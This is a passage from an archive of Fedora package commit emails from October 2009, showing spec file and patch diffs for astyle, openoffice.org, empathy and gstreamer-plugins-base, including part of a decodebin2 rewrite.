 Group:          Development/Tools
@@ -8,8 +8,6 @@ License:        LGPLv2+
 URL:            http://astyle.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}_%{version}_linux.tar.gz
 
-Patch0:         %{name}-%{version}-gcc43.patch
-
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
@@ -20,7 +18,6 @@ languages.
 
 %prep
 %setup -q -n %{name}
-%patch0 -p1
 
 %build
 g++ -o astyle $RPM_OPT_FLAGS src/*.cpp
@@ -44,8 +41,9 @@ rm -rf $RPM_BUILD_ROOT
 %doc doc/*.html
 
 %changelog
-* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.21-11
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Tue Oct 13 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.23-1
+- Update to new version
+- patch from Sep 24 2008 not needed anymore for gcc-4.4
 
 * Mon Feb 23 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.21-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/astyle/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	6 Jul 2007 01:31:42 -0000	1.2
+++ sources	13 Oct 2009 14:48:51 -0000	1.3
@@ -1 +1 @@
-c3e2068e9bf64bcad3e1d69628c4d241  astyle_1.21_linux.tar.gz
+92945aa2831cb14e38da5e1b8665657e  astyle_1.23_linux.tar.gz



From caolanm at fedoraproject.org  Tue Oct 13 14:59:09 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Tue, 13 Oct 2009 14:59:09 +0000 (UTC)
Subject: rpms/openoffice.org/devel openoffice.org.spec,1.2034,1.2035
Message-ID: <20091013145909.EFF2811C00E8@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25169

Modified Files:
	openoffice.org.spec 
Log Message:
adjust grep for poor help translations to new location, add new files


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2034
retrieving revision 1.2035
diff -u -p -r1.2034 -r1.2035
--- openoffice.org.spec	13 Oct 2009 14:06:00 -0000	1.2034
+++ openoffice.org.spec	13 Oct 2009 14:59:09 -0000	1.2035
@@ -1627,7 +1627,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
 #don't build localized helps which are poorly translated
-POORHELPS=`grep "Working With %PRODUCTNAME" helpcontent2/source/text/swriter/localize.sdf | cut -f 10 | xargs`
+POORHELPS=`grep "helpcontent2.*main.*Working With %PRODUCTNAME" l10n/source/*/localize.sdf | cut -f 10 | xargs`
 autoconf
 %configure \
  --with-build-version="Ver: %{version}-%{release}" --with-unix-wrapper=%{name} \
@@ -2482,6 +2482,7 @@ rm -rf $RPM_BUILD_ROOT
 %{basisinstdir}/program/libdbtools%{SOPOST}.so
 %{basisinstdir}/program/libdbu%{SOPOST}.so
 %{basisinstdir}/program/libdeploymentmisc%{SOPOST}.so
+%{basisinstdir}/program/libdesktop_detector%{SOPOST}.so
 %{basisinstdir}/program/libdict_ja.so
 %{basisinstdir}/program/libdict_zh.so
 %{basisinstdir}/program/libdrawinglayer%{SOPOST}.so
@@ -2550,6 +2551,7 @@ rm -rf $RPM_BUILD_ROOT
 %{basisinstdir}/program/libscn%{SOPOST}.so
 %{basisinstdir}/program/libscriptframe.so
 %{basisinstdir}/program/libsd%{SOPOST}.so
+%{basisinstdir}/program/libsdfilt%{SOPOST}.so
 %{basisinstdir}/program/libsdbc2.so
 %{basisinstdir}/program/libsdbt%{SOPOST}so
 %{basisinstdir}/program/libsdd%{SOPOST}.so
@@ -2559,6 +2561,8 @@ rm -rf $RPM_BUILD_ROOT
 %{basisinstdir}/program/libsrtrs1.so
 %{basisinstdir}/program/libsts%{SOPOST}.so
 %{basisinstdir}/program/libsvx%{SOPOST}.so
+%{basisinstdir}/program/libsvxcore%{SOPOST}.so
+%{basisinstdir}/program/libsvxmsfilter%{SOPOST}.so
 %{basisinstdir}/program/libsw%{SOPOST}.so
 %{basisinstdir}/program/libtextconv_dict.so
 %{basisinstdir}/program/libtextconversiondlgs%{SOPOST}.so
@@ -2765,16 +2769,19 @@ rm -rf $RPM_BUILD_ROOT
 %dir %{basisinstdir}/share/registry/modules/org
 %dir %{basisinstdir}/share/registry/modules/org/openoffice
 %dir %{basisinstdir}/share/registry/modules/org/openoffice/Office
+%{basisinstdir}/share/registry/modules/org/openoffice/Office/Accelerators
 %{basisinstdir}/share/registry/modules/org/openoffice/Office/Embedding
 %dir %{basisinstdir}/share/registry/modules/org/openoffice/Office/Common
 %{basisinstdir}/share/registry/modules/org/openoffice/Office/Common/Common-survey.xcu
 %{basisinstdir}/share/registry/modules/org/openoffice/Office/Common/Common-unx.xcu
+%dir %{basisinstdir}/share/registry/modules/org/openoffice/Office/DataAccess
 %dir %{basisinstdir}/share/registry/modules/org/openoffice/Office/Linguistic
 %{basisinstdir}/share/registry/modules/org/openoffice/Office/Linguistic/Linguistic-lingucomponent-hyphenator.xcu
 %{basisinstdir}/share/registry/modules/org/openoffice/Office/Linguistic/Linguistic-lingucomponent-spellchecker.xcu
 %{basisinstdir}/share/registry/modules/org/openoffice/Office/Linguistic/Linguistic-lingucomponent-thesaurus.xcu
 %dir %{basisinstdir}/share/registry/modules/org/openoffice/Office/Paths
 %{basisinstdir}/share/registry/modules/org/openoffice/Office/Paths/libtextcat.xcu
+%{basisinstdir}/share/registry/modules/org/openoffice/Office/Paths/Paths-unxwnt.xcu
 %{basisinstdir}/share/registry/modules/org/openoffice/Office/Paths/SystemAutoCorrect.xcu
 %dir %{basisinstdir}/share/registry/modules/org/openoffice/Office/Recovery
 %{basisinstdir}/share/registry/modules/org/openoffice/Office/Recovery/AutoSaveRecovery.xcu
@@ -2819,6 +2826,7 @@ rm -rf $RPM_BUILD_ROOT
 %{basisinstdir}/share/registry/schema/org/openoffice/Office/Commands.xcs
 %{basisinstdir}/share/registry/schema/org/openoffice/Office/Common.xcs
 %{basisinstdir}/share/registry/schema/org/openoffice/Office/Compatibility.xcs
+%{basisinstdir}/share/registry/schema/org/openoffice/Office/DataAccess
 %{basisinstdir}/share/registry/schema/org/openoffice/Office/DataAccess.xcs
 %{basisinstdir}/share/registry/schema/org/openoffice/Office/Draw.xcs
 %{basisinstdir}/share/registry/schema/org/openoffice/Office/Embedding.xcs
@@ -4115,7 +4123,7 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Mon Oct 12 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-1.1
+* Tue Oct 13 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-1.1
 - drop integrated autocorrection files (i102567)
 - drop integrated workspace.defaultdoclang.patch
 - drop integrated workspace.kso32fixes.patch



From bpepple at fedoraproject.org  Tue Oct 13 15:01:20 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Tue, 13 Oct 2009 15:01:20 +0000 (UTC)
Subject: rpms/empathy/devel empathy.spec,1.79,1.80
Message-ID: <20091013150120.B527611C0267@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/empathy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26221

Modified Files:
	empathy.spec 
Log Message:
* Tue Oct 13 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0.1-2
- Require tp-idle and tp-butterfly.



Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/devel/empathy.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- empathy.spec	2 Oct 2009 19:31:38 -0000	1.79
+++ empathy.spec	13 Oct 2009 15:01:19 -0000	1.80
@@ -14,7 +14,7 @@
 
 Name:		empathy
 Version:	2.28.0.1
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Instant Messaging Client for GNOME
 
 Group:		Applications/Communications
@@ -70,6 +70,8 @@ Requires:	telepathy-filesystem
 ##       PackageKit and friends?
 Requires:	telepathy-gabble
 Requires:	telepathy-salut
+Requires:	telepathy-idle
+Requires:	telepathy-butterfly
 ## Also hardcode Haze dependency since Empathy is the default IM client in F12(RHBZ: 458935)
 Requires:	telepathy-haze
 Requires:	telepathy-mission-control >= %{tp_mc_min_version}
@@ -242,6 +244,9 @@ fi
 %{python_sitearch}/empathy*.so
 
 %changelog
+* Tue Oct 13 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0.1-2
+- Require tp-idle and tp-butterfly.
+
 * Fri Oct  2 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0.1-1
 - Update to 2.28.0.1.
 - See http://download.gnome.org/sources/empathy/2.28/empathy-2.28.0.1.news



From bpepple at fedoraproject.org  Tue Oct 13 15:03:55 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Tue, 13 Oct 2009 15:03:55 +0000 (UTC)
Subject: rpms/empathy/F-12 empathy.spec,1.79,1.80
Message-ID: <20091013150355.DB2DA11C00E8@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/empathy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26889

Modified Files:
	empathy.spec 
Log Message:
* Tue Oct 13 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0.1-2
- Require tp-idle and tp-butterfly.



Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/empathy.spec,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- empathy.spec	2 Oct 2009 19:33:45 -0000	1.79
+++ empathy.spec	13 Oct 2009 15:03:55 -0000	1.80
@@ -14,7 +14,7 @@
 
 Name:		empathy
 Version:	2.28.0.1
-Release:	1%{?dist}
+Release:	2%{?dist}
 Summary:	Instant Messaging Client for GNOME
 
 Group:		Applications/Communications
@@ -70,6 +70,8 @@ Requires:	telepathy-filesystem
 ##       PackageKit and friends?
 Requires:	telepathy-gabble
 Requires:	telepathy-salut
+Requires:	telepathy-idle
+Requires:	telepathy-butterfly
 ## Also hardcode Haze dependency since Empathy is the default IM client in F12(RHBZ: 458935)
 Requires:	telepathy-haze
 Requires:	telepathy-mission-control >= %{tp_mc_min_version}
@@ -242,6 +244,9 @@ fi
 %{python_sitearch}/empathy*.so
 
 %changelog
+* Tue Oct 13 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0.1-2
+- Require tp-idle and tp-butterfly.
+
 * Fri Oct  2 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.0.1-1
 - Update to 2.28.0.1.
 - See http://download.gnome.org/sources/empathy/2.28/empathy-2.28.0.1.news



From tomspur at fedoraproject.org  Tue Oct 13 15:05:24 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Tue, 13 Oct 2009 15:05:24 +0000 (UTC)
Subject: rpms/astyle/F-12 astyle.spec,1.11,1.12 sources,1.2,1.3
Message-ID: <20091013150524.5B47511C00E8@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/astyle/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27373

Modified Files:
	astyle.spec sources 
Log Message:
Update to new version 1.23



Index: astyle.spec
===================================================================
RCS file: /cvs/pkgs/rpms/astyle/F-12/astyle.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- astyle.spec	24 Jul 2009 17:26:03 -0000	1.11
+++ astyle.spec	13 Oct 2009 15:05:23 -0000	1.12
@@ -1,6 +1,6 @@
 Name:           astyle
-Version:        1.21
-Release:        11%{?dist}
+Version:        1.23
+Release:        1%{?dist}
 Summary:        Source code formatter for C-like programming languages
 
 Group:          Development/Tools
@@ -8,8 +8,6 @@ License:        LGPLv2+
 URL:            http://astyle.sourceforge.net/
 Source0:        http://downloads.sourceforge.net/%{name}/%{name}_%{version}_linux.tar.gz
 
-Patch0:         %{name}-%{version}-gcc43.patch
-
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description
@@ -20,7 +18,6 @@ languages.
 
 %prep
 %setup -q -n %{name}
-%patch0 -p1
 
 %build
 g++ -o astyle $RPM_OPT_FLAGS src/*.cpp
@@ -44,6 +41,10 @@ rm -rf $RPM_BUILD_ROOT
 %doc doc/*.html
 
 %changelog
+* Tue Oct 13 2009 Thomas Spura <tomspur at fedoraproject.org> - 1.23-1
+- Update to new version
+- patch from Sep 24 2008 not needed anymore for gcc-4.4
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.21-11
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/astyle/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	6 Jul 2007 01:31:42 -0000	1.2
+++ sources	13 Oct 2009 15:05:23 -0000	1.3
@@ -1 +1 @@
-c3e2068e9bf64bcad3e1d69628c4d241  astyle_1.21_linux.tar.gz
+92945aa2831cb14e38da5e1b8665657e  astyle_1.23_linux.tar.gz



From tomspur at fedoraproject.org  Tue Oct 13 15:09:13 2009
From: tomspur at fedoraproject.org (tomspur)
Date: Tue, 13 Oct 2009 15:09:13 +0000 (UTC)
Subject: rpms/astyle/devel astyle.spec,1.12,1.13
Message-ID: <20091013150913.0E50111C00E8@cvs1.fedora.phx.redhat.com>

Author: tomspur

Update of /cvs/pkgs/rpms/astyle/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28613

Modified Files:
	astyle.spec 
Log Message:
One changelog went missing -> commiting back



Index: astyle.spec
===================================================================
RCS file: /cvs/pkgs/rpms/astyle/devel/astyle.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- astyle.spec	13 Oct 2009 14:48:51 -0000	1.12
+++ astyle.spec	13 Oct 2009 15:09:12 -0000	1.13
@@ -45,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 - Update to new version
 - patch from Sep 24 2008 not needed anymore for gcc-4.4
 
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.21-11
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Mon Feb 23 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.21-10
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 



From hadess at fedoraproject.org  Tue Oct 13 15:17:11 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 13 Oct 2009 15:17:11 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/F-12 gstpb-fix-missing-plugins.patch,
	NONE, 1.1 gstpb-no-subtitle-errors.patch, NONE,
	1.1 gstreamer-plugins-base.spec, 1.88, 1.89
Message-ID: <20091013151711.9CD6C11C00E8@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30976

Modified Files:
	gstreamer-plugins-base.spec 
Added Files:
	gstpb-fix-missing-plugins.patch gstpb-no-subtitle-errors.patch 
Log Message:
* Tue Oct 13 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-2
- Add patches to fix some playbin2 bugs (#518880)


gstpb-fix-missing-plugins.patch:
 gstdecodebin2.c | 1782 +++++++++++++++++++++++++++++---------------------------
 1 file changed, 946 insertions(+), 836 deletions(-)

--- NEW FILE gstpb-fix-missing-plugins.patch ---
commit cf9c6a2271ad35e422c8fba6af842e3ea309d82d
Author: Sebastian Dr?ge <sebastian.droege at collabora.co.uk>
Date:   Sat Sep 26 12:17:49 2009 +0200

    decodebin2: Rewrite autoplugging and how groups of pads are exposed
    
    This now keeps track of everything that is going on, creates
    a tree of chains and groups to allow "demuxer after demuxer" scenarios
    and allows chained Oggs with multiple streams (needs oggdemux or playbin2 fixes).
    
    Also document everything in detail and give a general overview of what
    decodebin2 is doing at the top of the sources.
    
    Fixes bug #596183, #563828 and #591677.

diff --git a/gst/playback/gstdecodebin2.c b/gst/playback/gstdecodebin2.c
index 24e251b..1d6c9d2 100644
--- a/gst/playback/gstdecodebin2.c
+++ b/gst/playback/gstdecodebin2.c
@@ -1,5 +1,6 @@
 /* GStreamer
  * Copyright (C) <2006> Edward Hervey <edward at fluendo.com>
+ * Copyright (C) <2009> Sebastian Dr?ge <sebastian.droege at collabora.co.uk>
  *
  * This library is free software; you can redistribute it and/or
  * modify it under the terms of the GNU Library General Public
@@ -31,6 +32,51 @@
  * decodebin2 instead of the older #GstDecodeBin for its internal auto-plugging.
  */
 
+/* Implementation notes:
+ *
+ * The following section describes how decodebin2 works internally.
+ *
+ * The first part of decodebin2 is it's typefind element, which tries
+ * to get the type of the input stream. If the type is found autoplugging starts.
+ *
+ * decodebin2 internally organizes the elements it autoplugged into GstDecodeChains
+ * and GstDecodeGroups. A decode chain is a single chain of decoding, this
+ * means that if decodebin2 every autoplugs an element with two+ srcpads
+ * (e.g. a demuxer) this will end the chain and everything following this
+ * demuxer will be put into decode groups below the chain. Otherwise,
+ * if an element has a single srcpad that outputs raw data the decode chain
+ * is ended too and a GstDecodePad is stored and blocked.
+ *
+ * A decode group combines a number of chains that are created by a
+ * demuxer element. All those chains are connected through a multiqueue to
+ * the demuxer. A new group for the same demuxer is only created if the
+ * demuxer has signaled no-more pads, in which case all following pads
+ * create a new chain in the new group.
+ *
+ * This continues until the top-level decode chain is complete. A decode
+ * chain is complete if it either ends with a blocked endpad, if autoplugging
+ * stopped because no suitable plugins could be found or if the active group
+ * is complete. A decode group OTOH is complete if all child chains are complete.
+ *
+ * If this happens at some point, all endpads of all active groups are exposed.
+ * For this decodebin2 adds the endpads, signals no-more-pads and then unblocks
+ * them. Now playback starts.
+ *
+ * If one of the chains that end on a endpad receives EOS decodebin2 checks upwards
+ * via the parent pointers if all chains and groups are drained. In that case
+ * everything goes into EOS.
+ * If there is a chain where the active group is drained but there exist next groups
+ * the active group is hidden (endpads are removed) and the next group is exposed.
+ *
+ * Note 1: If we're talking about blocked endpads this really means that the
+ * *target* pads of the endpads are blocked. Pads that are exposed to the outside
+ * should never ever be blocked!
+ *
+ * Note 2: If a group is complete and the parent's chain demuxer adds new pads
+ * but never signaled no-more-pads this additional pads will be ignored!
+ *
+ */
+
 #ifdef HAVE_CONFIG_H
 #include "config.h"
 #endif
@@ -61,6 +107,7 @@ GST_STATIC_PAD_TEMPLATE ("src%d",
 GST_DEBUG_CATEGORY_STATIC (gst_decode_bin_debug);
 #define GST_CAT_DEFAULT gst_decode_bin_debug
 
+typedef struct _GstDecodeChain GstDecodeChain;
 typedef struct _GstDecodeGroup GstDecodeGroup;
 typedef struct _GstDecodePad GstDecodePad;
 typedef GstGhostPadClass GstDecodePadClass;
@@ -90,16 +137,14 @@ struct _GstDecodeBin
 
   GstElement *typefind;         /* this holds the typefind object */
 
-  GMutex *lock;                 /* Protects activegroup and groups */
-  GstDecodeGroup *activegroup;  /* group currently active */
-  GList *groups;                /* List of non-active GstDecodeGroups, sorted in
-                                 * order of creation. */
-  GList *oldgroups;             /* List of no-longer-used GstDecodeGroups. 
-                                 * Should be freed in dispose */
+  GMutex *expose_lock;          /* Protects exposal and removal of groups */
+  GstDecodeChain *decode_chain; /* Top level decode chain */
   gint nbpads;                  /* unique identifier for source pads */
 
   GValueArray *factories;       /* factories we can use for selecting elements */
-  GList *subtitles;             /* List of elements with subtitle-encoding */
+
+  GList *subtitles;             /* List of elements with subtitle-encoding,
+                                 * protected by object lock! */
 
   gboolean have_type;           /* if we received the have_type signal */
   guint have_type_id;           /* signal id for have-type from typefind */
@@ -170,8 +215,8 @@ static const GstElementDetails gst_decode_bin_details =
 GST_ELEMENT_DETAILS ("Decoder Bin",
     "Generic/Bin/Decoder",
     "Autoplug and decode to raw media",
-    "Edward Hervey <edward at fluendo.com>");
-
+    "Edward Hervey <edward.hervey at collabora.co.uk>, "
+    "Sebastian Dr?ge <sebastian.droege at collabora.co.uk>");
 
 static void do_async_start (GstDecodeBin * dbin);
 static void do_async_done (GstDecodeBin * dbin);
@@ -194,33 +239,31 @@ static void gst_decode_bin_get_property (GObject * object, guint prop_id,
     GValue * value, GParamSpec * pspec);
 static void gst_decode_bin_set_caps (GstDecodeBin * dbin, GstCaps * caps);
 static GstCaps *gst_decode_bin_get_caps (GstDecodeBin * dbin);
-static void caps_notify_group_cb (GstPad * pad, GParamSpec * unused,
-    GstDecodeGroup * group);
 static void caps_notify_cb (GstPad * pad, GParamSpec * unused,
-    GstDecodeBin * dbin);
+    GstDecodeChain * chain);
 
 static GstPad *find_sink_pad (GstElement * element);
 static GstStateChangeReturn gst_decode_bin_change_state (GstElement * element,
     GstStateChange transition);
 
-#define DECODE_BIN_LOCK(dbin) G_STMT_START {				\
+#define EXPOSE_LOCK(dbin) G_STMT_START {				\
     GST_LOG_OBJECT (dbin,						\
-		    "locking from thread %p",				\
+		    "expose locking from thread %p",			\
 		    g_thread_self ());					\
-    g_mutex_lock (GST_DECODE_BIN_CAST(dbin)->lock);			\
+    g_mutex_lock (GST_DECODE_BIN_CAST(dbin)->expose_lock);		\
     GST_LOG_OBJECT (dbin,						\
-		    "locked from thread %p",				\
+		    "expose locked from thread %p",			\
 		    g_thread_self ());					\
 } G_STMT_END
 
-#define DECODE_BIN_UNLOCK(dbin) G_STMT_START {				\
+#define EXPOSE_UNLOCK(dbin) G_STMT_START {				\
     GST_LOG_OBJECT (dbin,						\
-		    "unlocking from thread %p",				\
+		    "expose unlocking from thread %p",			\
 		    g_thread_self ());					\
-    g_mutex_unlock (GST_DECODE_BIN_CAST(dbin)->lock);			\
+    g_mutex_unlock (GST_DECODE_BIN_CAST(dbin)->expose_lock);		\
 } G_STMT_END
 
-#define DECODE_BIN_DYN_LOCK(dbin) G_STMT_START {			\
+#define DYN_LOCK(dbin) G_STMT_START {			\
     GST_LOG_OBJECT (dbin,						\
 		    "dynlocking from thread %p",			\
 		    g_thread_self ());					\
@@ -230,7 +273,7 @@ static GstStateChangeReturn gst_decode_bin_change_state (GstElement * element,
 		    g_thread_self ());					\
 } G_STMT_END
 
-#define DECODE_BIN_DYN_UNLOCK(dbin) G_STMT_START {			\
+#define DYN_UNLOCK(dbin) G_STMT_START {			\
     GST_LOG_OBJECT (dbin,						\
 		    "dynunlocking from thread %p",			\
 		    g_thread_self ());					\
@@ -241,68 +284,109 @@ static GstStateChangeReturn gst_decode_bin_change_state (GstElement * element,
  *
  * Streams belonging to the same group/chain of a media file
  *
+ * When changing something here lock the parent chain!
  */
 struct _GstDecodeGroup
 {
   GstDecodeBin *dbin;
-  GMutex *lock;
-  GstElement *multiqueue;
-
-  gboolean exposed;             /* TRUE if this group is exposed */
-  gboolean drained;             /* TRUE if EOS went through all endpads */
-  gboolean blocked;             /* TRUE if all endpads are blocked */
-  gboolean complete;            /* TRUE if we are not expecting anymore streams 
-                                 * on this group */
+  GstDecodeChain *parent;
+
+  GstElement *multiqueue;       /* Used for linking all child chains */
   gulong overrunsig;            /* the overrun signal for multiqueue */
-  guint nbdynamic;              /* number of dynamic pads in the group. */
 
-  GList *endpads;               /* List of GstDecodePad of source pads to be exposed */
-  GList *reqpads;               /* List of RequestPads for multiqueue. */
+  gboolean overrun;             /* TRUE if the multiqueue signaled overrun. This
+                                 * means that we should really expose the group */
+
[...2090 lines suppressed...]
- */
-static void
-gst_decode_group_set_complete (GstDecodeGroup * group)
-{
-  gboolean expose = FALSE;
-  GstDecodeBin *dbin;
-
-  dbin = group->dbin;
-
-  GST_LOG_OBJECT (dbin, "Setting group %p to COMPLETE", group);
-
-  GROUP_MUTEX_LOCK (group);
-  group->complete = TRUE;
-  if (group->nbdynamic > 0)
-    group->nbdynamic--;
-  expose = gst_decode_group_check_if_blocked (group);
-  GROUP_MUTEX_UNLOCK (group);
-
-  /* don't do anything if not blocked completely */
-  if (expose) {
-    DECODE_BIN_LOCK (dbin);
-    if (!gst_decode_group_expose (group))
-      GST_WARNING_OBJECT (dbin, "Couldn't expose group");
-    DECODE_BIN_UNLOCK (dbin);
-  }
+  return TRUE;
 }
 
 /*************************
@@ -2476,37 +2586,34 @@ gst_decode_pad_class_init (GstDecodePadClass * klass)
 static void
 gst_decode_pad_init (GstDecodePad * pad)
 {
-  pad->group = NULL;
+  pad->chain = NULL;
   pad->blocked = FALSE;
+  pad->exposed = FALSE;
   pad->drained = FALSE;
   gst_object_ref (pad);
   gst_object_sink (pad);
 }
 
 static void
-source_pad_blocked_cb (GstPad * opad, gboolean blocked, GstDecodePad * dpad)
+source_pad_blocked_cb (GstPad * pad, gboolean blocked, GstDecodePad * dpad)
 {
-  GstDecodeGroup *group;
+  GstDecodeChain *chain;
   GstDecodeBin *dbin;
-  gboolean expose = FALSE;
 
-  group = dpad->group;
-  dbin = group->dbin;
+  chain = dpad->chain;
+  dbin = chain->dbin;
 
-  GST_LOG_OBJECT (dpad, "blocked:%d, dpad->group:%p", blocked, group);
+  GST_LOG_OBJECT (dpad, "blocked:%d, dpad->chain:%p", blocked, chain);
 
-  GROUP_MUTEX_LOCK (group);
-  /* Update this GstDecodePad status */
   dpad->blocked = blocked;
-  if (blocked)
-    expose = gst_decode_group_check_if_blocked (group);
-  GROUP_MUTEX_UNLOCK (group);
 
-  if (expose) {
-    DECODE_BIN_LOCK (dbin);
-    if (!gst_decode_group_expose (group))
-      GST_WARNING_OBJECT (dbin, "Couldn't expose group");
-    DECODE_BIN_UNLOCK (dbin);
+  if (dpad->blocked) {
+    EXPOSE_LOCK (dbin);
+    if (gst_decode_chain_is_complete (dbin->decode_chain)) {
+      if (!gst_decode_bin_expose (dbin))
+        GST_WARNING_OBJECT (dbin, "Couldn't expose group");
+    }
+    EXPOSE_UNLOCK (dbin);
   }
 }
 
@@ -2533,7 +2640,7 @@ gst_decode_pad_set_blocked (GstDecodePad * dpad, gboolean blocked)
   GstDecodeBin *dbin = dpad->dbin;
   GstPad *opad;
 
-  DECODE_BIN_DYN_LOCK (dbin);
+  DYN_LOCK (dbin);
   opad = gst_ghost_pad_get_target (GST_GHOST_PAD_CAST (dpad));
   if (!opad)
     goto out;
@@ -2550,13 +2657,16 @@ gst_decode_pad_set_blocked (GstDecodePad * dpad, gboolean blocked)
       dbin->blocked_pads = g_list_prepend (dbin->blocked_pads, dpad);
     }
   } else {
-    if (g_list_find (dbin->blocked_pads, dpad))
+    GList *l;
+
+    if ((l = g_list_find (dbin->blocked_pads, dpad))) {
       gst_object_unref (dpad);
-    dbin->blocked_pads = g_list_remove (dbin->blocked_pads, dpad);
+      dbin->blocked_pads = g_list_delete_link (dbin->blocked_pads, l);
+    }
   }
   gst_object_unref (opad);
 out:
-  DECODE_BIN_DYN_UNLOCK (dbin);
+  DYN_UNLOCK (dbin);
 }
 
 static void
@@ -2567,11 +2677,11 @@ gst_decode_pad_add_drained_check (GstDecodePad * dpad)
 }
 
 static void
-gst_decode_pad_activate (GstDecodePad * dpad, GstDecodeGroup * group)
+gst_decode_pad_activate (GstDecodePad * dpad, GstDecodeChain * chain)
 {
-  g_return_if_fail (group != NULL);
+  g_return_if_fail (chain != NULL);
 
-  dpad->group = group;
+  dpad->chain = chain;
   gst_pad_set_active (GST_PAD (dpad), TRUE);
   gst_decode_pad_set_blocked (dpad, TRUE);
   gst_decode_pad_add_drained_check (dpad);
@@ -2588,7 +2698,7 @@ gst_decode_pad_unblock (GstDecodePad * dpad)
  * Creates a new GstDecodePad for the given pad.
  */
 static GstDecodePad *
-gst_decode_pad_new (GstDecodeBin * dbin, GstPad * pad, GstDecodeGroup * group)
+gst_decode_pad_new (GstDecodeBin * dbin, GstPad * pad, GstDecodeChain * chain)
 {
   GstDecodePad *dpad;
 
@@ -2597,7 +2707,7 @@ gst_decode_pad_new (GstDecodeBin * dbin, GstPad * pad, GstDecodeGroup * group)
       NULL);
   gst_ghost_pad_construct (GST_GHOST_PAD (dpad));
   gst_ghost_pad_set_target (GST_GHOST_PAD (dpad), pad);
-  dpad->group = group;
+  dpad->chain = chain;
   dpad->dbin = dbin;
 
   return dpad;
@@ -2663,13 +2773,12 @@ find_sink_pad (GstElement * element)
 static void
 unblock_pads (GstDecodeBin * dbin)
 {
-  GList *tmp, *next;
+  GList *tmp;
 
-  for (tmp = dbin->blocked_pads; tmp; tmp = next) {
+  for (tmp = dbin->blocked_pads; tmp; tmp = tmp->next) {
     GstDecodePad *dpad = (GstDecodePad *) tmp->data;
     GstPad *opad = gst_ghost_pad_get_target (GST_GHOST_PAD_CAST (dpad));
 
-    next = g_list_next (tmp);
     if (!opad)
       continue;
 
@@ -2701,20 +2810,20 @@ gst_decode_bin_change_state (GstElement * element, GstStateChange transition)
         goto missing_typefind;
       break;
     case GST_STATE_CHANGE_READY_TO_PAUSED:
-      DECODE_BIN_DYN_LOCK (dbin);
+      DYN_LOCK (dbin);
       GST_LOG_OBJECT (dbin, "clearing shutdown flag");
       dbin->shutdown = FALSE;
-      DECODE_BIN_DYN_UNLOCK (dbin);
+      DYN_UNLOCK (dbin);
       dbin->have_type = FALSE;
       ret = GST_STATE_CHANGE_ASYNC;
       do_async_start (dbin);
       break;
     case GST_STATE_CHANGE_PAUSED_TO_READY:
